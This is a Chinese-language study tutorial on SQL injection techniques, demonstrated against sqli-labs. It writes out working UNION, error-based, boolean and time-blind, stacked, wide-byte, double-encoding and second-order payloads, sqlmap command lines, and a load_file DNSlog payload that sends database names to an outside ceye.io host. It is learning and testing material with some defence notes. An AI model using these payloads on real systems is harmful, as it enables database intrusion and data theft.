SQL注入的幾種類型和原理
在上一章節中,介紹了SQL注入的原理以及注入過程中的一些函數,但是具體的如何注入,常見的注入類型,沒有進行介紹,這一章節我想對常見的注入類型進行一個了解,能夠自己進行注入測試。
注意:以下這些類型實在slqi-labs環境(也就是MySQL)下實驗,SQL是所有關系型數據庫查詢的語言,針對不同的數據庫,SQL語法會有不同,在注入時的語句也會有所不同。
UNION 聯合查詢注入
原理
UNION 語法:用於將多個select語句的結果組合起來,每條select語句必須擁有相同的列、相同數量的列表達式、相同的數據類型,並且出現的次序要一致,長度不一定相同。
注意:UNION操作符選取不重復的值。如果允許重復的值,請使用 UNION ALL。

UNION注入的應用場景
-
UNION連續的幾個查詢的字段數一樣且列的數據類型轉換相同,就可以查詢數據;
-
注入點有回顯;
-
只有最后一個SELECT子句允許有ORDER BY;只有最后一個SELECT子句允許有LIMIT。
UNION注入的流程
1 |
graph LR |
為什么 order by 能確定列數?order by 的作用為根據一列或者多列的值,按照升序或者降序排列數據,當超出表的列數是發生報錯。
為什么需要確定列數?UNION 內部的 SELECT 語句必須擁有相同的列(可用二分快速查找)
方法
下面用sqli-labs第一關演示。


可能有讀者會疑惑,“–”可以理解,SQL注釋,那么“+”有什么用,並且執行的語句中也不包含“+”號。
URL只允許使用US-ASCII字符集的可打印字符。URL中 “+” 代表URL編碼的空格。

判斷出列的位置后,在頁面中尋找回顯的位置,這里運用的SQL的一個特性。

這個特性有什么用?頁面代碼只返回第一條結果,UNION SELECT 獲取的結果無法輸出到頁面,可以構造不存在的ID,使第一條語句查詢結果為空,返回 UNION SELECT獲取的結果。


到這里,可以確定返回頁面的位置,在對應的位置寫想要的SQL語句即可拿到想要的信息。

實際上返回的結果為多條,所以需要將結果連接為一條,使用 limit 或者 group_concat 的函數連接結果。

后面就很順利的按上一章節中的SQL注入流程來讀取數據。

有讀者可能會迷惑,我還是解釋一下,讀庫、讀表、讀字段、讀數據。我這里使用了幾個函數,連接字符的group_concat,指定分割符連接的 concat_ws。
報錯注入
原理
接下來的文字會省略一些,因為找到對應的回顯之后,整個過程類似。無論是那種類型的注入,本質上是SQL語句被執行之后尋找對應的回顯。
對於報錯,回顯在錯誤中,后面的的時間注入,回顯在時間的判斷中,DNSlog盲注中,回顯在DNSlog中。
報錯注入如何發生的?
構造payload讓信息通過錯誤提示回顯出來
什么場景下有用?
-
查詢不回現內容,但會打印錯誤信息
-
Update、Insert等語句,會打印錯誤信息(前面的union 不適合 update 語句)
這種場景的源碼是怎樣的?
1 |
if($row) |
當執行的SQL語句出錯時返回錯誤信息,在錯誤信息中返回數據庫的內容,即可實現SQL注入。
那么實現SQL注入的難點就在於構造語句,制造錯誤,讓錯誤中包含數據庫內容。
這里介紹3個函數引起報錯,其他的函數類似。
-
floor()
1
2SELECT count(*) from information_schema.`TABLES` GROUP BY concat((select version()),floor(rand(0)*2))
group by對rand()函數操作是產生了錯誤 -
extractvalue()
1
2extractvalue(1,concat(0x7e,(select user()),0x7e))
xpath語法導致的錯誤 -
updatexml()
1
2select updatexml(1,concat(0x7e,(select version()),0x7e),1)
xpath語法導致的錯誤
方法
Floor函數報錯注入方法**
上面的語句在MySQL客戶端中的執行效果,可以看到返回的錯誤中包含了想要的信息。

在網頁中執行的效果。

把語句變換一下

后面就是查庫、查表、查數據流程,注意數據太多使用concat、limit等函數鏈接處理。
另外這里介紹一些技巧避免重復手工。
比如limit這種只需要改變數值查詢數據的語句,使用Burp suite 的intruder功能,關鍵參數配置字典,對返回的結果進行匹配。

extractvalue()報錯注入方法
extractvalue()需要兩個參數,第一參數為xml文檔,第二個參數為xpath語句,直接給常見的語句。

網頁中的效果

筆者在看到這個語句的時候其實是有疑惑的。
-
為什么構造的語句為第二個參數?我理解函數執行過程中,第二個參數像正則匹配一樣從第一個參數中匹配出結果。操作第二個參數能直接的觸發錯誤
-
為什么使用concat函數?使其中的語句字符串化,如果有讀者直接將第二個參數使用查詢版本的函數就會發現,報錯的結果不包含“@”符號前的字符,原理大概也猜得到,“@”符號在xpath格式中有其他含義。
-
為什么使用concat函數中第一個參數構造了一個波浪號?其實這個原因和上面一樣,構造非法的參數,這樣才能在錯誤中看到后面完整的數據。

updatexml() 函數的報錯注入
updatexml() 的第一個參數為xml文檔對象,第二個為xpath格式的字符串,第三個為string格式,替換查找到符合條件的數據。和名字一樣,作用為更新文檔中符合條件的字符串。
這條語句和上一條類似。


另外,報錯信息是有長度限制的,在mysql的源碼 mysql/my_error.c 中也有注釋,如果得到的數據太長,可以使用substr進行字符串的切割。

小結
報錯注入的原理還沒有理解,先知社區上有一篇文章報錯原理寫很好,后續再繼續研究吧。
布爾盲注
原理
布爾盲住指得是代碼存在SQL注入漏洞,但是頁面既不會回顯數據,也不會回顯錯誤信息,只返回 ”Right“ 和 ”Wrong”。
通過構造語句,來判斷數據庫信息的正確性,通過頁面返回的 ”真“ 和 ”假“ 來識別判斷是否正確。
大白話:這就像你不斷的詢問一個人,他只會說對還是錯,雖然信息有限,但是也能得到想要的信息,
布爾盲住過程中常用到的一些函數
-
left():left(database(),1)>'s',databases() 顯示數據庫的名稱,left(a,b)從左側截取a的前b位 -
regexp():select user() regexp '^r',正則表達式匹配 -
like():select user() like 'ro%',和regexp 類似 -
substr()和ascii():ascii(substr((select(database()),1,1))=98 -
ord()和mid():ord(mid((select user()),1,1))=114
幾個函數沒什么好說,都是對字符串操作的函數,有一個地方需要關注下,有些場景單引號下會注入失敗,使用ascii()等函數轉為 ascii 碼已適用於更多的場景。
方法
下面通過 sqli-labs 的例子測試下。

通過上面頁面返回的不同可以判斷語句被成功執行,猜測查詢語句的結構,可以構造如下的語句。
http://wuhash.ml/Less-8/?id=1' and left((select database()),1)='a' --+
結合 “Burp Suite” 的 “Intruder” 模塊爆破結果。

能否更快速的爆破?答案是可以的,添加多個字典即可。

其他函數組成的payload,這里就不詳細講了
1 |
http://wuhash.ml/Less-8/?id=1' and (select table_name from information_schema.tables where table_schema=database() limit 0,1) regexp '^em' --+ |
數據庫庫、表、字段所有名稱的可用字符范圍為:A-Z、a-z、0-9和下划線。
也就是 ASCII 碼48到122,利用這點可快速的爆破出結果。

時間盲注
原理
時間盲注:代碼存在SQL注入漏洞,然而頁面即不會回顯數據,也不會回顯錯誤信息,語句執行之后不提示真假,不能通過頁面來進行判斷。通過構造語句,通過頁面響應的時長來判斷信息。
無法進行報錯注入和布爾注入之后,人們想到了新的攻擊點,“頁面返回的時間”,筆者覺得能想到這一點人真是天才,誰提出的已無法追溯,可能在過去一段時間內,對於一些無論正確還是錯誤的頁面返回都相同,攻擊者在很長的一段時間陷入困境,某位用咖啡續命的攻擊者靈光一閃,隨后向他的朋友進行了討論和驗證,新的攻擊方式被提出。
時間盲住的關鍵點在於 if()函數,通過條件語句進行判斷,為真則立即執行,否則延時執行。
例如 if(left(user(),1)=‘a’,0,sleep(3));
例如if(ascii(substr(database(),1,1))>115,0,sleep(5))%23。
方法
這里打開sqli-labs的第10關查看下他的源碼,發現無論輸入是否正確,返回幾乎都是一模一樣的。

有一部分代碼我截圖出來,Get 方法接收到的ID會被添加上雙引號,所有最終的語句是這樣。

時間注入里如何進行前面我說的查庫、查表、查列、查數據那樣的流程呢?

相信到這里也發現了,這種方式太緩慢了,能否快一點?可以的,編寫自動換腳本,猜單詞游戲在這里發揮到極致,每個字段都要進行猜測。
DNSlog盲注
原理
DNSlog盲住其實屬於帶外攻擊(Out Of Band),什么是帶外攻擊?
很多場景下,無法看到攻擊的回顯,但是攻擊行為確實生效了,通過服務器以外的其它方式提取數據,包括不限於 HTTP(S) 請求、DNS請求、文件系統、電子郵件等。
事實上,帶外攻擊不限於 DNSlog 盲注場景下,比如命令執行、SQL注入、XXE等。
先解釋下DNSlog盲注的原理,借助應用的本身的功能發起DNS請求,盲注的結果作為DNS請求的一部分,DNSlog記錄了DNS的請求,當然也記錄了盲注的結果。
如何發起DNS請求?對域名訪問,解析域名即產生DNS請求。
在關於我所了解的SQL注入中提過load_file函數,load_file在官方文檔中描述為讀取本地文件,然而在windows下的路徑有一種命名慣例,名為UNC,本來的作用為共享文件與設備,UNC路徑格式為\\host-name\share-name\object-name,”hos-name”部分可以是FQDN,這個特性使得win下load_file的UNC可觸發DNS請求,當然也限制了DNSlog盲注只限於 win 下。
方法
一條典型的payload如下。
select load_file(concat('\\\\',(select database()),'.7dxfaj.ceye.io\\abc'))
其中“7dxfaj.ceye.io”是“ceye.io”分配的子域名。”ceye.io”知道創宇404團隊開發的一款記錄DNSlog的平台,不僅能記錄DNS請求,HTTP請求也同樣。(就是日常崩)。
為什么這里有四個“\”,因為轉義的原因,

如果你有服務器和域名的話,推薦自己搭建平台,四葉草安全開源了一款同樣的工具。
如何實戰
這里以sqli-labs為例,其他場景類似,區別在於payload的構造。

在ceye.io上查看解析記錄,成功看到其中含有函數執行的結果。

什么樣的場景下這個很有用?相對於時間盲住來說這個能夠直接查詢到結果,比時間盲住更好。
但同時它的要求也很高,為什么?因為這里涉及到“load_file”操作,“secure_file_priv”的值為空才能進行UNC路徑讀取。
能不能爆數據?可以,利用相關的字符切割函數,FQDN是有長度限制的(RFC 1035 規定FQDN通常為255個字節)。


修改limit的值查詢字段。


后續的查詢數據不再演示,需要注意的是,實戰中,這種查詢方式仍然顯得緩慢,ceye.io也提供的對應的API,最好是字節自動化腳本。
堆疊注入
關於堆疊注入,要從堆疊查詢說起,我們知道每一條SQL語句以“;”結束,是否能能多條語句一起執行呢?這是可以的。

第二條語句不必像聯合查詢那樣要求類型一致,甚至能使用 “update”語句修改數據表。
結合實踐盲注中的語句,就能構造出payload。
例如;select if(substr(user(),1,1)=‘r’,sleep(3),1)%23
更多語句不進行贅述。
到這里已經介紹了一些注入方式了,有一些書籍或文章可能還會介紹get注入、post注入、數字型注入、字符型注入,在我看來,只是改變了注入點和閉合語句的方式不同。
下面介紹的是一些比較少遇到的,利用的點不同,結合了其他特性。
寬字節注入
原理
這里我先解釋下什么是寬字節。
先說下ASCII,這個編碼為8個比特位,1個字節,所以能映射的范圍僅有256個字符。
到了漢字這里,這套編碼不夠用了,畢竟漢字太多了。
這其中,出現GBK、BIG5、GB2312、gb18030等編碼用以適用於漢字,原來的一個字節無法容納,需要占用更多的字節來編碼,這就是所謂的寬字節。
為什么寬字節注入會發生?
一般來說,我們使用進行SQL注入測試時,都會使用'、",開發者為了防止SQL注入,將傳入到的符號進行轉義,例如php中addslashes函數,會將字符加上轉義符號。
由於轉義的存在,加上mysql的特性是的結果和正常的相同,甚至都不能判斷含有注入點,sqlmap進行測試頁無法進行注入。
下面以sqli-labs的第36關為例。

這里我開啟日志功能,查看真正執行的語句,你也可以在網頁中打印語句。
1 |
SHOW VARIABLES LIKE 'general%'; |

執行的語句為SELECT * FROM users WHERE id='1\'' LIMIT 0,1,不知道有沒有小伙伴和我一樣疑惑這個語句為什么能執行成功,筆者迷惑了一上午,在某位大大的幫助下終於理解了,感謝大大。筆者進行了一系列測試。



我們都知道”\“是轉義符,也就是說最終where的是 id “1‘”(我特意用雙引號表示),表中應該沒有“1’”這個ID,結果應該為空,但實際上這條查詢的結果和 SELECT * FROM users WHERE id='1' LIMIT 0,1相同。
這和mysql中的隱式類型轉換有關,官方文檔在末尾。
簡單來說,mysql會自動推導數據類型,我們看一個列子。

筆者猜測由於類型轉換失敗,不進行匹配,所以仍然能查出結果。
回到寬字節的主題上,瀏覽器會將URL中'的編碼為%27,經過函數添加的轉義符,變成了%5c%27(\‘),如果在 “‘” 前面添加%df,編碼后的數據為%df%5c%27。

如果查詢的數據庫是GBK編碼時,會被認為是一個漢字,這里是”運“,也就是說最終語句變成了SELECT * FROM users WHERE id='1運' LIMIT 0,1(上面網頁中為編碼為UTF-8,無法正常顯示)。添加的轉義符號被“吃”掉了,轉義符失去了原有的作用。
知道了這一點,后續的注入就很簡單了。
order by 確定字段列數。

查看回顯。

后面的查庫、查表、查列、查數據就很順利了。

能不能sqlmap直接一把梭?可以,不過需要更改下測試語句。

另外,sqlmap也提供了tamper來解決這種情況。
sqlmap -u "http://wuhash.ml/Less-36/?id=1" -b --tamper=unmagicquotes.py --batch --thread=10

如何發現寬字節注入
-
黑盒測試:在可能的注入點鍵入%df,之后進行注入測試
-
白盒測試
-
查看MySQL編碼是否為GBK
-
是否使用preg_replace把單引號替換為\‘
-
是否使用addslashes進行轉義
-
是否使用mysql_real_escape_string進行轉義
后續的一些問題
為什么輸入%81就可以進行寬字節注入了?
GBK編碼是對GB2312編碼的擴展,采用雙字節編碼方案,其編碼范圍是 8140-FEFE,上面添加 %81 是為了讓編碼的結果在GBK編碼范圍中,將其識別為一個字符,從而“吃掉“轉義符。
編碼問題是如何發生的?
注入的過程設計到多個編碼,包括php源碼文件中指定SQL語句的編碼,數據庫的編碼,頁面本身的編碼。

頁面的編碼有什么影響?添加的“%df”在URL中不會被再次編碼,SQL語句指定編碼我GBK,addslashes對單引號進行添加轉義符號,添加的%df和轉義發被解釋為一個字符,同事頁面返回的結果未正確顯示,筆者的默認編碼是Unicode(可聲明編碼),更換編碼后可正確顯示。

后續是P牛博客的思路,鏈接放在末尾。
如何防御?
php文檔提供了mysql_real_escape_string函數,需要在聲明數據庫使用的編碼,否則寬字節注入仍然會發生。
指定連接的形式是二進制即可,所有數據以二進制形式傳遞,就能有效避免寬字節注入。
SET character_set_connection=gbk, character_set_results=gbk,character_set_client=binary
只有GBK編碼會發生嗎?
實際上其他語言的編碼也可以,只要能夠“吃掉”轉義符的編碼。
還有其他姿勢嗎
在大多數的CMS中采用icnva函數,將UTF-8編碼轉換為GBK編碼。
但實際上仍然會發生注入。
P牛提到“錦”的UTF-8編碼為e9 8c a6,GBK編碼為E55C。
轉義符和單引號的編碼為5c27,合起來是E55C 5c27。
兩個5c被解釋為轉義符轉義轉義符本身,僅作為一個字符解釋,所以注入仍然會發生。
二次編碼注入
原理
第一個問題,為什么要進行URL編碼?
原始的格式在WEB應用中不適合傳輸,一些符號回與HTTP請求的參數沖突。比如HTTP的GET方法,格式是這樣http://a.com/index.php?user=admin&passwd=admin,如果說有一個 user 為 “useer=”(注意等號),組合成這樣http://a.com/index.php?user=admin=&passwd=admin,這樣的語句就會產生問題,導致WEB應用無法正常運行。
關於字符的問題,推薦看這個。
實際上這個問題擴張開來,為什么要進行編碼?一定是因為原始格式不適合傳輸才進行的編碼。
另外,在一般情況下,WEB應用傳遞給PHP等應用參數時,PHP會自動對參數進行一次URLdecode。
同樣 php 也提供了函數進行調用,在某些CMS中,進行了轉義+二次 URLdecode,造成。
我們來看一段php頁面的代碼。

可以看到使用GET方法傳遞 ID,ID傳入之后經mysql_real_escape_string轉義,然后進行URLdecode,問題就出出現在這里。
注入方法
下面以上面的源碼為例測試。

可以看到輸入的單引號被轉義。如果下面構造的特殊的參數,頁面就會變成這樣。

解釋一下,為什么這樣?“%25”被自動解碼為百分號,輸入的參數中為含有單引號,所以未被轉義。
在二次解碼之后,“%27”被解釋為單引號,熟悉的報錯又回來了。


在sqlmap中和寬字節同理
sqlmap -u "http://wuhash.ml/Less-1/doublecode.php?id=%2527" -b --batch --thread=10
二次注入
原理
二次注入的重點在於添加進數據庫的惡意數據被二次調用。
這里兩個關鍵。第一:添加進的數據庫使我們構造的惡意數據(需要考慮到轉義等炒作),第二:惡意數據被二次調用觸發注入。
方法
這里以sqli-labs 的 Lless24 進行二次注入練習。

sqli-labs的24關是一個登錄界面,下面有創建用戶和重置密碼的鏈接,我們打開源碼進行查看。
創建用戶的頁面提交的表單被發送”login_create.php”文件

“login_create.php”取到了3個值,分別是“username”、“pass”、“re_pass”,並且使用了mysql_escape_string進行了特殊字符轉義。一開始進行了用戶名是否存在的查詢判斷,如果不存在,對比兩次輸入的密碼是否一致,如果一致,進行了一個insert操作,將用戶名和密碼插入user表中。

當前的user表是這樣的。

創建一個用戶名為“admin’#”的用戶,密碼任意並登陸。

登陸之后含有Reset按鈕,查看源碼,參數被發送到 ”pass_change.php”文件。查看“pass_change.php”的源碼,接收三個參數 “cur_pass”、“pass”、”re_pass“,同樣使用了mysql_escape_string進行了轉義。如果更新的兩個密碼一致,執行一條update的 sql操作。

現在的數據庫是這樣。

對“admin’#“進行密碼重置,對比着查看數據庫。

注意圖中的“admin”的“password”值,不是筆者貼圖錯誤,而是確實如此。打開mysql的查詢日志查看執行的語句。

經過了轉義,'#完整的插入數據庫之后,進行二次調用時,也被完整的調用出來。

“#”在 sql 語句中表示注釋,后面的語句不會被執行,整條語句相當於執行UPDATE users SET PASSWORD='1314' where username='admin',所以“admin”的密碼被更改。
后續的筆記就不細說了,可以看出,利用應用本身的功能特性講惡意數據插入在數據表中,在其他功能點被調用引發注入。在很多場景下,可能利用並不是這么利用的,課程中演示了里一個頁面,列舉了用戶名,注冊一個名為“1’ union select 1,user(),3#”的用戶,在二次調用時,成功是用戶名中顯示為數據庫用戶。
最后說一下這里常見的繞過點,嘗試編碼繞過(例如URL編碼)、HEX繞過、運用mysql自身的一些特性繞過……。
總結
受限於篇幅,這一篇某些地方沒有詳細的記錄,筆記大部分內容都來自網易雲與 i 春秋合作的課程,感謝講師@ADO。老實說,這篇筆記鴿了3個星期左右,有幾個原因。
-
漏洞點都要自己進行驗證,比較緩慢
-
最近工作上有點忙,下班無心學習
-
我在摸魚……。
-
筆者學習是比較容易偏離方向,比如DNSlog盲注時抓包發現請求有點不合常理,又跑去找資料看……
參考資料
[紅日安全]Web安全Day1 - SQL注入實戰攻防
Web安全工程師(進階)- SQL注入篇
一篇文章帶你深入理解 SQL 盲注
MYSQL報錯注入的一點總結
SQL Injection
SQL Injection Wiki
SQL注入WIKI
【技術分享】MySQL Out-of-Band 攻擊
OOB(out of band)分析系列之DNS滲漏
Dnslog在SQL注入中的實戰
Hr-Papers|寬字節注入深度講解
12.2 Type Conversion in Expression Evaluation
談談MySQL隱式類型轉換
淺析白盒審計中的字符編碼及SQL注入
